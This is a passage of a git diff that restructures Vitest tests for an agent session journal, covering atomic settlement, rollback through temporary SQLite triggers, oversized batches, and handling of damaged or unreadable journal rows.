MAX_JOURNAL_LIFECYCLE_BATCH_BYTES } from './journal-row-schema' + +export function registerJournalAtomicSettlementOversizedTests( + fixture: ReturnType +): void { + it('uses an ordinary recovered tombstone when the settlement namespace exceeds the batch cap', async () => { + const identity = { provider: 'orca' as const, clientMessageId: 'remove-item' } + await fixture.journal.appendItem( + identity, + { kind: 'status', text: 'remove me' }, + { + fence: 7, + turnScope: AGENT_JOURNAL_THREAD_SCOPE + } + ) + const before = fixture.journal.cursor() + const input = { + settlementId: 'x'.repeat(MAX_JOURNAL_LIFECYCLE_BATCH_BYTES), + fence: 7, + recovered: true as const, + mutations: [{ kind: 'tombstone' as const, identity }] + } + await fixture.journal.appendLifecycleBatch(input) + expect(fixture.journal.snapshot().items).toEqual([]) + expect(fixture.journal.cursor().sequence).toBe(before.sequence + 1) + expect(fixture.rows().at(-1)).toMatchObject({ kind: 'tombstone', recovered: true }) + await fixture.journal.appendLifecycleBatch(input) + expect(fixture.journal.cursor().sequence).toBe(before.sequence + 1) + }) + + it.each(['startup', 'stop'] as const)( + 'rolls back the %s submission verdict with its oversized item', + async (mode) => { + await fixture.journal.appendSubmission({ + clientMessageId: 'unanswered', + payloadFingerprint: 'unanswered', + fence: 7, + handoverRecorded: true, + body: { kind: 'message', role: 'user', blocks: [{ type: 'text', text: 'next' }] } + }) + await fixture.journal.resolveDispatch({ + clientMessageId: 'unanswered', + state: 'pending', + fence: 7, + turnScope: AGENT_JOURNAL_THREAD_SCOPE + }) + if (mode === 'stop') { + await fixture.journal.appendStopEvent({ reason: 'user-stop' }, 7) + } + await fixture.journal.appendItem( + { provider: 'orca', clientMessageId: 'oversized-call' }, + { + kind: 'tool-call', + name: 'Write', + input: 'x'.repeat(MAX_JOURNAL_LIFECYCLE_BATCH_BYTES), + state: 'running' + }, + { fence: 7, turnScope: AGENT_JOURNAL_THREAD_SCOPE } + ) + const input = { + journal: fixture.journal, + sessionId: fixture.SESSION, + fence: 7, + settlementId: `${mode}:7`, + verdict: { state: 'interrupted' as const, completedAt: 1_000 }, + pendingSubmissionReason: 'owner exited', + showUnexpectedExitOutcome: mode === 'startup', + ...(mode === 'startup' ? { exitedDuringStartup: { generation: 'start-7' } } : {}) + } + const database = openTestJournalHostDatabase(fixture.root) + const before = fixture.journal.snapshot() + const diskBefore = fixture.rows() + const published: AgentJournalSnapshot[] = [] + fixture.journal.observeCommits(() => published.push(fixture.journal.snapshot())) + database.db.exec(`CREATE TEMP TRIGGER reject_submission_settlement_item + BEFORE INSERT ON journal_rows + WHEN NEW.session_id = '${fixture.SESSION}' AND json_extract(NEW.row_json, '$.recovered') = 1 + AND json_extract(NEW.row_json, '$.kind') = 'item' + BEGIN SELECT RAISE(ABORT, 'item rejected after submission'); END`) + expect(await settleObservedExitForTest(input)).toMatchObject({ ok: false }) + expect(fixture.journal.snapshot()).toEqual(before) + expect(fixture.rows()).toEqual(diskBefore) + expect(published).toEqual([]) + database.db.exec('DROP TRIGGER reject_submission_settlement_item') + expect(await settleObservedExitForTest(input)).toMatchObject({ ok: true }) + expect(fixture.journal.submission('unanswered')).toMatchObject({ + dispatchState: 'rejected', + recovered: true, + rejection: { kind: mode === 'stop' ? 'cancelled' : 'providerStartFailed' } + }) + const committed = fixture.rows().slice(diskBefore.length) + expect(committed.filter((row) => row.kind === 'dispatch')).toHaveLength(1) + expect(published).toEqual([fixture.journal.snapshot()]) + expect(await settleObservedExitForTest(input)).toMatchObject({ ok: true }) + expect(fixture.rows().slice(diskBefore.length)).toEqual(committed) + expect(published).toHaveLength(1) + } + ) +} diff --git a/src/main/native-chat/agent-session-journal/journal-atomic-settlement-rollback.spec.ts b/src/main/native-chat/agent-session-journal/journal-atomic-settlement-rollback.spec.ts new file mode 100644 index 00000000000..2e2fe11e0e2 --- /dev/null +++ b/src/main/native-chat/agent-session-journal/journal-atomic-settlement-rollback.spec.ts @@ -0,0 +1,250 @@ +import type { createFixture } from './journal-atomic-settlement-contract-test-fixture' +import { expect, it, vi } from 'vitest' +import { + AGENT_JOURNAL_THREAD_SCOPE, + type AgentJournalSnapshot +} from '../../../shared/agent-session-journal-types' +import type { AgentSessionSubscribeEvent } from '../../../shared/agent-session-wire' +import { AgentSessionSubscribers } from '../agent-session-wire/structured-agent-session-subscribers' +import { settleStaleStructuredAgentSessionState } from '../agent-session-wire/structured-agent-session-dead-generation-settlement' +import { openTestJournalHostDatabase } from './journal-host-database-test-support' +import type { JournalLifecycleMutationInput } from './journal-row-builders' +import { MAX_JOURNAL_LIFECYCLE_BATCH_BYTES } from './journal-row-schema' + +export function registerJournalAtomicSettlementRollbackTests( + fixture: ReturnType +): void { + it.each(['item', 'lifecycle-batch'] as const)( + 'rolls back a later %s rejection, publishes nothing, then retries exactly once', + async (kind) => { + await fixture.seedWork() + const database = openTestJournalHostDatabase(fixture.root) + const before = fixture.journal.snapshot() + const diskBefore = fixture.rows() + const published: AgentJournalSnapshot[] = [] + const frames: AgentSessionSubscribeEvent[] = [] + const emittedStates: AgentJournalSnapshot[] = [] + const subscribers = new AgentSessionSubscribers() + subscribers.open({ + id: 'reader', + sessionId: fixture.SESSION, + journal: fixture.journal, + fence: 7, + cursor: before.cursor, + emit: (event) => { + frames.push(event) + emittedStates.push(fixture.journal.snapshot()) + } + }) + frames.length = 0 + emittedStates.length = 0 + fixture.journal.observeCommits(() => { + published.push(fixture.journal.snapshot()) + subscribers.publish(fixture.SESSION, fixture.journal) + }) + const sawEarlierInserts: number[] = [] + const transaction = database.transaction.bind(database) + vi.spyOn(database, 'transaction').mockImplementation((run, streamed, committed) => + transaction( + (db) => { + try { + const result = run(db) + expect(fixture.journal.snapshot()).toEqual(before) + expect(published).toEqual([]) + expect(frames).toEqual([]) + return result + } catch (error) { + sawEarlierInserts.push(fixture.rows().length - diskBefore.length) + expect(fixture.journal.snapshot()).toEqual(before) + expect(published).toEqual([]) + expect(frames).toEqual([]) + throw error + } + }, + streamed, + committed + ) + ) + database.db.exec(`CREATE TEMP TRIGGER reject_later_settlement BEFORE INSERT ON journal_rows + WHEN NEW.session_id = '${fixture.SESSION}' AND json_extract(NEW.row_json, '$.recovered') = 1 + AND json_extract(NEW.row_json, '$.kind') = '${kind}' + AND NEW.seq > ${before.cursor.sequence + 1} + BEGIN SELECT RAISE(ABORT, 'later settlement row rejected'); END`) + + expect(await fixture.settle()).toMatchObject({ ok: false }) + expect(sawEarlierInserts[0]).toBeGreaterThan(0) + expect(fixture.rows()).toEqual(diskBefore) + expect(fixture.journal.cursor()).toEqual(before.cursor) + expect(fixture.journal.snapshot()).toEqual(before) + expect(published).toEqual([]) + expect(frames).toEqual([]) + + vi.restoreAllMocks() + + const other = await fixture.open('other-chat') + await expect( + other.appendSubmission({ + clientMessageId: 'unrelated', + payloadFingerprint: 'other', + fence: 0, + body: { kind: 'message', role: 'user', blocks: [{ type: 'text', text: 'hello' }] } + }) + ).resolves.toMatchObject({ sequence: 2 }) + + database.db.exec('DROP TRIGGER reject_later_settlement') + vi.spyOn(database, 'transaction').mockImplementation((run, streamed, committed) => + transaction( + (db) => { + const result = run(db) + expect(fixture.journal.snapshot()).toEqual(before) + expect(published).toEqual([]) + expect(frames).toEqual([]) + return result + }, + streamed, + committed + ) + ) + expect(await fixture.settle()).toMatchObject({ ok: true }) + vi.restoreAllMocks() + const settled = fixture.journal.snapshot() + expect(published).toEqual([settled]) + expect(frames.length).toBeGreaterThan(0) + expect( + emittedStates.every((state) => state.cursor.sequence === settled.cursor.sequence) + ).toBe(true) + expect( + emittedStates.every((state) => + state.items.every( + (item) => item.body.kind !== 'tool-call' || item.body.state === 'failed' + ) + ) + ).toBe(true) + expect(frames.at(-1)).toMatchObject({ type: 'batch', batch: { cursor: settled.cursor } }) + const frameCount = frames.length + expect(settled.submissions[0]).toMatchObject({ dispatchState: 'unknown', recovered: true }) + expect(fixture.journal.runningTurn()?.turnId ?? null).toBeNull() + const calls = settled.items.filter((item) => item.body.kind === 'tool-call') + expect(calls).toHaveLength(201) + expect( + calls.every((item) => item.body.kind === 'tool-call' && item.body.state === 'failed') + ).toBe(true) + expect(calls[0]).toMatchObject({ + observedAt: 1_000, + agentId: 'child', + revision: 2, + body: { endedAs: 'interrupted', input: { content: '界😀'.repeat(220_000) } } + }) + const committed = fixture.rows().slice(diskBefore.length) + expect(committed.map((row) => row.kind)).toEqual([ + 'dispatch', + 'lifecycle-batch', + 'item', + 'lifecycle-batch', + 'lifecycle-batch' + ]) + expect(committed.every((row) => row.recovered)).toBe(true) + expect(await fixture.settle()).toMatchObject({ ok: true }) + expect(fixture.journal.snapshot()).toEqual(settled) + expect(fixture.rows().slice(diskBefore.length)).toEqual(committed) + expect(published).toEqual([settled]) + expect(frames).toHaveLength(frameCount) + await fixture.journal.close() + fixture.journal = await fixture.open() + expect(fixture.journal.snapshot()).toEqual(settled) + expect(await fixture.settle()).toMatchObject({ ok: true }) + expect(fixture.journal.snapshot()).toEqual(settled) + } + ) + + it('writes an all-oversized settlement with full bodies, and deduplicates it after replay', async () => { + await fixture.seedWork(2) + const calls = fixture.journal.snapshot().items.filter((item) => item.body.kind === 'tool-call') + const mutations: JournalLifecycleMutationInput[] = calls.map((item, index) => ({ + kind: 'item', + observedAt: index + 1, + identity: { provider: 'orca', clientMessageId: `call-${index}` }, + body: { + kind: 'tool-call', + name: 'Write', + state: 'failed', + endedAs: 'interrupted', + input: { content: 'x'.repeat(MAX_JOURNAL_LIFECYCLE_BATCH_BYTES + index) } + }, + turnScope: item.turnScope ?? AGENT_JOURNAL_THREAD_SCOPE + })) + const input = { + settlementId: 'all-oversized:7', + fence: 7, + recovered: true as const, + mutations + } + const before = fixture.journal.cursor() + const published: AgentJournalSnapshot[] = [] + fixture.journal.observeCommits(() => published.push(fixture.journal.snapshot())) + await fixture.journal.appendLifecycleBatch(input) + const settled = fixture.journal.snapshot() + expect(fixture.journal.cursor().sequence).toBe(before.sequence + 2) + expect( + fixture + .rows() + .slice(-2) + .map((row) => row.kind) + ).toEqual(['item', 'item']) + expect( + settled.items.filter((item) => item.body.kind === 'tool-call').map((item) => item.body) + ).toEqual(mutations.flatMap((mutation) => (mutation.kind === 'item' ? [mutation.body] : []))) + expect( + fixture + .rows() + .slice(-2) + .map((row) => row.ts) + ).toEqual([1, 2]) + expect( + settled.items.filter((item) => item.body.kind === 'tool-call').map((item) => item.observedAt) + ).toEqual(calls.map((item) => item.observedAt)) + expect(published).toEqual([settled]) + await fixture.journal.appendLifecycleBatch(input) + expect(fixture.journal.snapshot()).toEqual(settled) + expect(published).toEqual([settled]) + expect( + await fixture.journal.appendSteps([ + { + kind: 'settlement', + batch: { + settlementId: input.settlementId, + fence: input.fence, + recovered: true, + resolve: () => mutations + } + } + ]) + ).toEqual([false]) + expect(fixture.journal.snapshot()).toEqual(settled) + await fixture.journal.close() + fixture.journal = await fixture.open() + await fixture.journal.appendLifecycleBatch(input) + expect(fixture.journal.snapshot()).toEqual(settled) + }) + + it('settles stale work through the same oversized fallback without duplicating its outcome', async () => { + await fixture.seedWork(1) + const input = { + journal: fixture.journal, + sessionId: fixture.SESSION, + fence: 8, + acquisitionGeneration: 'new-generation', + deathEvidence: { + kind: 'exit-observed' as const, + ownerFence: 7, + observedAt: 1_000, + detail: '' + } + } + expect(await settleStaleStructuredAgentSessionState(input)).toBeGreaterThan(0) + const settled = fixture.journal.snapshot() + expect(await settleStaleStructuredAgentSessionState(input)).toBe(0) + expect(fixture.journal.snapshot()).toEqual(settled) + expect(fixture.rows().some((row) => row.kind === 'item' && row.recovered)).toBe(true) + }) +} diff --git a/src/main/native-chat/agent-session-journal/journal-atomic-terminal-settlement.spec.ts b/src/main/native-chat/agent-session-journal/journal-atomic-terminal-settlement.spec.ts index 6c8f3f64989..7b84274b638 100644 --- a/src/main/native-chat/agent-session-journal/journal-atomic-terminal-settlement.spec.ts +++ b/src/main/native-chat/agent-session-journal/journal-atomic-terminal-settlement.spec.ts @@ -1,430 +1,9 @@ -import { mkdtemp, rm } from 'node:fs/promises' -import { tmpdir } from 'node:os' -import { join } from 'node:path' -import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest' -import { - AGENT_JOURNAL_THREAD_SCOPE, - type AgentJournalSnapshot -} from '../../../shared/agent-session-journal-types' -import { codexProviderHandle } from '../../../shared/agent-session-provider-handle-encoding' -import type { AgentSessionSubscribeEvent } from '../../../shared/agent-session-wire' -import { AgentSessionSubscribers } from '../agent-session-wire/structured-agent-session-subscribers' -import { settleStaleStructuredAgentSessionState } from '../agent-session-wire/structured-agent-session-dead-generation-settlement' -import { settleObservedExitForTest } from '../agent-session-wire/structured-agent-session-observed-exit.test-fixture' -import { - createTrackedJournalOpener, - openTestJournalHostDatabase, - readTestJournalRows -} from './journal-host-database-test-support' -import type { JournalLifecycleMutationInput } from './journal-row-builders' -import { MAX_JOURNAL_LIFECYCLE_BATCH_BYTES, parseJournalRow } from './journal-row-schema' -import type { AgentSessionJournal } from './journal-store' +import { createFixture } from './journal-atomic-settlement-contract-test-fixture' +import { registerJournalAtomicSettlementRollbackTests } from './journal-atomic-settlement-rollback.spec' +import { registerJournalAtomicSettlementOversizedTests } from './journal-atomic-settlement-oversized.spec' export function registerJournalAtomicTerminalSettlementTests(): void { - const SESSION = 'atomic-settlement' - const journals = createTrackedJournalOpener() - let root: string - let journal: AgentSessionJournal - - async function open(sessionId = SESSION) { - return journals.open({ - identity: { - sessionId, - workspaceId: 'folder-workspace', - hostId: 'host', - agent: 'codex', - providerHandle: codexProviderHandle('thread') - }, - stateDirectory: root, - now: () => 1_000 - }) - } - - beforeEach(async () => { - root = await mkdtemp(join(tmpdir(), 'orca-atomic-settlement-')) - journal = await open() - }) - - afterEach(async () => { - vi.restoreAllMocks() - await journals.closeAll() - await rm(root, { recursive: true, force: true }) - }) - - function rows() { - return readTestJournalRows(openTestJournalHostDatabase(root).db, SESSION, journal.epoch).map( - (stored) => { - const parsed = parseJournalRow(stored.rowJson) - if (!parsed.ok) { - throw new Error('test row failed to parse') - } - return parsed.row - } - ) - } - - async function seedWork(count = 201) { - await journal.appendSubmission({ - clientMessageId: 'send', - payloadFingerprint: 'fingerprint', - body: { kind: 'message', role: 'user', blocks: [{ type: 'text', text: 'continue' }] }, - fence: 7 - }) - const turn = await journal.appendItem( - { provider: 'orca', clientMessageId: 'turn' }, - { kind: 'turn', turnId: 'turn', state: 'running', startedAt: 900 }, - { fence: 7, turnScope: AGENT_JOURNAL_THREAD_SCOPE } - ) - for (let index = 0; index < count; index++) { - await journal.appendItem( - { provider: 'orca', clientMessageId: `call-${index}` }, - { - kind: 'tool-call', - name: 'Write', - input: { content: index === 0 ? '界😀'.repeat(220_000) : 'small' }, - state: 'running' - }, - { - fence: 7, - turnScope: { kind: 'turn', turnItemId: turn.itemId }, - agentId: 'child', - producerKind: 'agent' - } - ) - } - } - - function settle() { - return settleObservedExitForTest({ - journal, - sessionId: SESSION, - fence: 7, - settlementId: `exit:${SESSION}:7`, - verdict: { state: 'interrupted', completedAt: 1_000 }, - pendingSubmissionReason: 'provider_exited_before_acknowledgement', - showUnexpectedExitOutcome: true - }) - } - - describe('atomic terminal settlement', () => { - it.each(['item', 'lifecycle-batch'] as const)( - 'rolls back a later %s rejection, publishes nothing, then retries exactly once', - async (kind) => { - await seedWork() - const database = openTestJournalHostDatabase(root) - const before = journal.snapshot() - const diskBefore = rows() - const published: AgentJournalSnapshot[] = [] - const frames: AgentSessionSubscribeEvent[] = [] - const emittedStates: AgentJournalSnapshot[] = [] - const subscribers = new AgentSessionSubscribers() - subscribers.open({ - id: 'reader', - sessionId: SESSION, - journal, - fence: 7, - cursor: before.cursor, - emit: (event) => { - frames.push(event) - emittedStates.push(journal.snapshot()) - } - }) - frames.length = 0 - emittedStates.length = 0 - journal.observeCommits(() => { - published.push(journal.snapshot()) - subscribers.publish(SESSION, journal) - }) - const sawEarlierInserts: number[] = [] - const transaction = database.transaction.bind(database) - vi.spyOn(database, 'transaction').mockImplementation((run) => - transaction((db) => { - try { - const result = run(db) - expect(journal.snapshot()).toEqual(before) - expect(published).toEqual([]) - expect(frames).toEqual([]) - return result - } catch (error) { - sawEarlierInserts.push(rows().length - diskBefore.length) - expect(journal.snapshot()).toEqual(before) - expect(published).toEqual([]) - expect(frames).toEqual([]) - throw error - } - }) - ) - database.db.exec(`CREATE TEMP TRIGGER reject_later_settlement BEFORE INSERT ON journal_rows - WHEN NEW.session_id = '${SESSION}' AND json_extract(NEW.row_json, '$.recovered') = 1 - AND json_extract(NEW.row_json, '$.kind') = '${kind}' - AND NEW.seq > ${before.cursor.sequence + 1} - BEGIN SELECT RAISE(ABORT, 'later settlement row rejected'); END`) - - expect(await settle()).toMatchObject({ ok: false }) - expect(sawEarlierInserts[0]).toBeGreaterThan(0) - expect(rows()).toEqual(diskBefore) - expect(journal.cursor()).toEqual(before.cursor) - expect(journal.snapshot()).toEqual(before) - expect(published).toEqual([]) - expect(frames).toEqual([]) - - vi.restoreAllMocks() - - const other = await open('other-chat') - await expect( - other.appendSubmission({ - clientMessageId: 'unrelated', - payloadFingerprint: 'other', - fence: 0, - body: { kind: 'message', role: 'user', blocks: [{ type: 'text', text: 'hello' }] } - }) - ).resolves.toMatchObject({ sequence: 2 }) - - database.db.exec('DROP TRIGGER reject_later_settlement') - vi.spyOn(database, 'transaction').mockImplementation((run) => - transaction((db) => { - const result = run(db) - expect(journal.snapshot()).toEqual(before) - expect(published).toEqual([]) - expect(frames).toEqual([]) - return result - }) - ) - expect(await settle()).toMatchObject({ ok: true }) - vi.restoreAllMocks() - const settled = journal.snapshot() - expect(published).toEqual([settled]) - expect(frames.length).toBeGreaterThan(0) - expect( - emittedStates.every((state) => state.cursor.sequence === settled.cursor.sequence) - ).toBe(true) - expect( - emittedStates.every((state) => - state.items.every( - (item) => item.body.kind !== 'tool-call' || item.body.state === 'failed' - ) - ) - ).toBe(true) - expect(frames.at(-1)).toMatchObject({ type: 'batch', batch: { cursor: settled.cursor } }) - const frameCount = frames.length - expect(settled.submissions[0]).toMatchObject({ dispatchState: 'unknown', recovered: true }) - expect(journal.runningTurn()?.turnId ?? null).toBeNull() - const calls = settled.items.filter((item) => item.body.kind === 'tool-call') - expect(calls).toHaveLength(201) - expect( - calls.every((item) => item.body.kind === 'tool-call' && item.body.state === 'failed') - ).toBe(true) - expect(calls[0]).toMatchObject({ - observedAt: 1_000, - agentId: 'child', - revision: 2, - body: { endedAs: 'interrupted', input: { content: '界😀'.repeat(220_000) } } - }) - const committed = rows().slice(diskBefore.length) - expect(committed.map((row) => row.kind)).toEqual([ - 'dispatch', - 'lifecycle-batch', - 'item', - 'lifecycle-batch', - 'lifecycle-batch' - ]) - expect(committed.every((row) => row.recovered)).toBe(true) - expect(await settle()).toMatchObject({ ok: true }) - expect(journal.snapshot()).toEqual(settled) - expect(rows().slice(diskBefore.length)).toEqual(committed) - expect(published).toEqual([settled]) - expect(frames).toHaveLength(frameCount) - await journal.close() - journal = await open() - expect(journal.snapshot()).toEqual(settled) - expect(await settle()).toMatchObject({ ok: true }) - expect(journal.snapshot()).toEqual(settled) - } - ) - - it('writes an all-oversized settlement with full bodies, and deduplicates it after replay', async () => { - await seedWork(2) - const calls = journal.snapshot().items.filter((item) => item.body.kind === 'tool-call') - const mutations: JournalLifecycleMutationInput[] = calls.map((item, index) => ({ - kind: 'item', - observedAt: index + 1, - identity: { provider: 'orca', clientMessageId: `call-${index}` }, - body: { - kind: 'tool-call', - name: 'Write', - state: 'failed', - endedAs: 'interrupted', - input: { content: 'x'.repeat(MAX_JOURNAL_LIFECYCLE_BATCH_BYTES + index) } - }, - turnScope: item.turnScope ?? AGENT_JOURNAL_THREAD_SCOPE - })) - const input = { - settlementId: 'all-oversized:7', - fence: 7, - recovered: true as const, - mutations - } - const before = journal.cursor() - const published: AgentJournalSnapshot[] = [] - journal.observeCommits(() => published.push(journal.snapshot())) - await journal.appendLifecycleBatch(input) - const settled = journal.snapshot() - expect(journal.cursor().sequence).toBe(before.sequence + 2) - expect( - rows() - .slice(-2) - .map((row) => row.kind) - ).toEqual(['item', 'item']) - expect( - settled.items.filter((item) => item.body.kind === 'tool-call').map((item) => item.body) - ).toEqual(mutations.flatMap((mutation) => (mutation.kind === 'item' ? [mutation.body] : []))) - expect( - rows() - .slice(-2) - .map((row) => row.ts) - ).toEqual([1, 2]) - expect( - settled.items - .filter((item) => item.body.kind === 'tool-call') - .map((item) => item.observedAt) - ).toEqual(calls.map((item) => item.observedAt)) - expect(published).toEqual([settled]) - await journal.appendLifecycleBatch(input) - expect(journal.snapshot()).toEqual(settled) - expect(published).toEqual([settled]) - expect( - await journal.appendSteps([ - { - kind: 'settlement', - batch: { - settlementId: input.settlementId, - fence: input.fence, - recovered: true, - resolve: () => mutations - } - } - ]) - ).toEqual([false]) - expect(journal.snapshot()).toEqual(settled) - await journal.close() - journal = await open() - await journal.appendLifecycleBatch(input) - expect(journal.snapshot()).toEqual(settled) - }) - - it('settles stale work through the same oversized fallback without duplicating its outcome', async () => { - await seedWork(1) - const input = { - journal, - sessionId: SESSION, - fence: 8, - acquisitionGeneration: 'new-generation', - deathEvidence: { - kind: 'exit-observed' as const, - ownerFence: 7, - observedAt: 1_000, - detail: '' - } - } - expect(await settleStaleStructuredAgentSessionState(input)).toBeGreaterThan(0) - const settled = journal.snapshot() - expect(await settleStaleStructuredAgentSessionState(input)).toBe(0) - expect(journal.snapshot()).toEqual(settled) - expect(rows().some((row) => row.kind === 'item' && row.recovered)).toBe(true) - }) - - it('uses an ordinary recovered tombstone when the settlement namespace exceeds the batch cap', async () => { - const identity = { provider: 'orca' as const, clientMessageId: 'remove-item' } - await journal.appendItem( - identity, - { kind: 'status', text: 'remove me' }, - { - fence: 7, - turnScope: AGENT_JOURNAL_THREAD_SCOPE - } - ) - const before = journal.cursor() - const input = { - settlementId: 'x'.repeat(MAX_JOURNAL_LIFECYCLE_BATCH_BYTES), - fence: 7, - recovered: true as const, - mutations: [{ kind: 'tombstone' as const, identity }] - } - await journal.appendLifecycleBatch(input) - expect(journal.snapshot().items).toEqual([]) - expect(journal.cursor().sequence).toBe(before.sequence + 1) - expect(rows().at(-1)).toMatchObject({ kind: 'tombstone', recovered: true }) - await journal.appendLifecycleBatch(input) - expect(journal.cursor().sequence).toBe(before.sequence + 1) - }) - - it.each(['startup', 'stop'] as const)( - 'rolls back the %s submission verdict with its oversized item', - async (mode) => { - await journal.appendSubmission({ - clientMessageId: 'unanswered', - payloadFingerprint: 'unanswered', - fence: 7, - handoverRecorded: true, - body: { kind: 'message', role: 'user', blocks: [{ type: 'text', text: 'next' }] } - }) - await journal.resolveDispatch({ - clientMessageId: 'unanswered', - state: 'pending', - fence: 7, - turnScope: AGENT_JOURNAL_THREAD_SCOPE - }) - if (mode === 'stop') { - await journal.appendStopEvent({ reason: 'user-stop' }, 7) - } - await journal.appendItem( - { provider: 'orca', clientMessageId: 'oversized-call' }, - { - kind: 'tool-call', - name: 'Write', - input: 'x'.repeat(MAX_JOURNAL_LIFECYCLE_BATCH_BYTES), - state: 'running' - }, - { fence: 7, turnScope: AGENT_JOURNAL_THREAD_SCOPE } - ) - const input = { - journal, - sessionId: SESSION, - fence: 7, - settlementId: `${mode}:7`, - verdict: { state: 'interrupted' as const, completedAt: 1_000 }, - pendingSubmissionReason: 'owner exited', - showUnexpectedExitOutcome: mode === 'startup', - ...(mode === 'startup' ? { exitedDuringStartup: { generation: 'start-7' } } : {}) - } - const database = openTestJournalHostDatabase(root) - const before = journal.snapshot() - const diskBefore = rows() - const published: AgentJournalSnapshot[] = [] - journal.observeCommits(() => published.push(journal.snapshot())) - database.db.exec(`CREATE TEMP TRIGGER reject_submission_settlement_item - BEFORE INSERT ON journal_rows - WHEN NEW.session_id = '${SESSION}' AND json_extract(NEW.row_json, '$.recovered') = 1 - AND json_extract(NEW.row_json, '$.kind') = 'item' - BEGIN SELECT RAISE(ABORT, 'item rejected after submission'); END`) - expect(await settleObservedExitForTest(input)).toMatchObject({ ok: false }) - expect(journal.snapshot()).toEqual(before) - expect(rows()).toEqual(diskBefore) - expect(published).toEqual([]) - database.db.exec('DROP TRIGGER reject_submission_settlement_item') - expect(await settleObservedExitForTest(input)).toMatchObject({ ok: true }) - expect(journal.submission('unanswered')).toMatchObject({ - dispatchState: 'rejected', - recovered: true, - rejection: { kind: mode === 'stop' ? 'cancelled' : 'providerStartFailed' } - }) - const committed = rows().slice(diskBefore.length) - expect(committed.filter((row) => row.kind === 'dispatch')).toHaveLength(1) - expect(published).toEqual([journal.snapshot()]) - expect(await settleObservedExitForTest(input)).toMatchObject({ ok: true }) - expect(rows().slice(diskBefore.length)).toEqual(committed) - expect(published).toHaveLength(1) - } - ) - }) + const fixture = createFixture() + registerJournalAtomicSettlementRollbackTests(fixture) + registerJournalAtomicSettlementOversizedTests(fixture) } diff --git a/src/main/native-chat/agent-session-journal/journal-cursor.ts b/src/main/native-chat/agent-session-journal/journal-cursor.ts index cb8021eba41..b9584170100 100644 --- a/src/main/native-chat/agent-session-journal/journal-cursor.ts +++ b/src/main/native-chat/agent-session-journal/journal-cursor.ts @@ -5,7 +5,7 @@ import type { AgentJournalResetReason } from '../../../shared/agent-session-journal-types' import type { JournalReadSince } from './journal-store-contracts' -import type { JournalRow } from './journal-row-schema' +import type { JournalReadRow } from './journal-read-row' export type JournalCursorRange = { epoch: string @@ -22,6 +22,18 @@ export function sameJournalCursor(a: AgentJournalCursor, b: AgentJournalCursor): return a.epoch === b.epoch && a.sequence === b.sequence } +export function journalWroteBeforeOpen( + current: Pick, + openedThrough: AgentJournalCursor, + sequence: number | undefined +): boolean { + return ( + sequence !== undefined && + current.epoch === openedThrough.epoch && + sequence <= openedThrough.sequence + ) +} + /** Reload snapshots for epoch mismatches, rolled-back prefixes or compacted cursors. */ export function resolveJournalResume( range: JournalCursorRange, @@ -58,7 +70,7 @@ export function findSequenceGap( export function readJournalSince( source: { state: { epoch: string; lastSequence: number; oldestSequence: number } - rowsAfter: (afterSequence: number) => JournalRow[] + rowsAfter: (afterSequence: number) => JournalReadRow[] }, cursor: AgentJournalCursor, currentCursor: () => AgentJournalCursor diff --git a/src/main/native-chat/agent-session-journal/journal-damage.test.ts b/src/main/native-chat/agent-session-journal/journal-damage.test.ts index 6117f56cf4e..0d2b062decb 100644 --- a/src/main/native-chat/agent-session-journal/journal-damage.test.ts +++ b/src/main/native-chat/agent-session-journal/journal-damage.test.ts @@ -1,7 +1,7 @@ import { mkdtemp, rm } from 'node:fs/promises' import { tmpdir } from 'node:os' import { join } from 'node:path' -import { afterEach, beforeEach, describe, expect, it } from 'vitest' +import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest' import { AGENT_JOURNAL_THREAD_SCOPE, type AgentJournalItemBody, @@ -9,7 +9,7 @@ import { type AgentSessionJournalIdentity } from '../../../shared/agent-session-journal-types' import { codexProviderHandle } from '../../../shared/agent-session-provider-handle-encoding' -import type Database from '../../sqlite/sync-database' +import Database from '../../sqlite/sync-database' import type { openAgentSessionJournal } from './journal-store-factory' import { createTrackedJournalOpener, @@ -20,6 +20,7 @@ import { deleteTestJournalRow, SAVED_BY_NEWER_ORCA } from './journal-host-database-test-support' +import { journalOpenRefusalError } from './journal-open-failure' const IDENTITY: AgentSessionJournalIdentity = { sessionId: 'session-1', @@ -35,7 +36,7 @@ const UNLOADABLE = { let root: string let clock = 1_000 -const journals = createTrackedJournalOpener() +const journals = createTrackedJournalOpener({ legacyInputs: true }) function item(ordinal: number): AgentJournalItemIdentity { return { provider: 'codex', threadId: 'thread-1', turnId: 'turn-1', ordinal } @@ -141,17 +142,71 @@ describe('a damaged chat', () => { }) }) - it("reads past damage to a newer build's row, which fails the load as a newer Orca's instead", async () => { - await writeChat() - await withJournalDatabase((db) => { - updateTestJournalRowJson(db, IDENTITY.sessionId, 3, '}{') - const newer = { ...JSON.parse(storedRowJson(db, 5)), kind: 'checkpoint' } - updateTestJournalRowJson(db, IDENTITY.sessionId, 5, JSON.stringify(newer)) - }) - const before = await storedRows() + it.each([1, 3])( + "reads past damage at row %i to a newer build's row, which fails the load as a newer Orca's instead", + async (damaged) => { + await writeChat() + await withJournalDatabase((db) => { + updateTestJournalRowJson(db, IDENTITY.sessionId, damaged, '}{') + const newer = { ...JSON.parse(storedRowJson(db, 5)), kind: 'checkpoint' } + updateTestJournalRowJson(db, IDENTITY.sessionId, 5, JSON.stringify(newer)) + }) + const before = await storedRows() - await expect(open()).rejects.toMatchObject(SAVED_BY_NEWER_ORCA) - expect(await storedRows()).toEqual(before) + await expect(open()).rejects.toMatchObject(SAVED_BY_NEWER_ORCA) + expect(await storedRows()).toEqual(before) + } + ) +}) + +describe('a chat whose saved state cannot be read right now', () => { + const outcomes = createTrackedJournalOpener() + afterEach(async () => { + vi.restoreAllMocks() + await outcomes.closeAll() + }) + + it('refuses the open as unavailable on a transient read error, and the next open loads it', async () => { + const options = { + identity: IDENTITY, + stateDirectory: root, + now: () => (clock += 1), + mintEpoch: () => `epoch-${clock}` + } + const journal = await outcomes.open(options) + await journal.appendItem(item(0), body('kept'), { + fence: 1, + turnScope: AGENT_JOURNAL_THREAD_SCOPE + }) + await journal.close() + let failures = 1 + const prepare = Database.prototype.prepare + vi.spyOn(Database.prototype, 'prepare').mockImplementation(function ( + this: Database, + sql: string + ) { + if (failures > 0 && sql.includes('FROM journal_outcomes')) { + failures -= 1 + throw Object.assign(new Error('disk I/O error'), { code: 'ERR_SQLITE_ERROR', errcode: 10 }) + } + return prepare.call(this, sql) + }) + + // As on main, the storage error reaches the host, which reports "unavailable, try again". + const failure = await outcomes.open(options).then( + () => null, + (error: unknown) => error + ) + expect(failure).toMatchObject({ code: 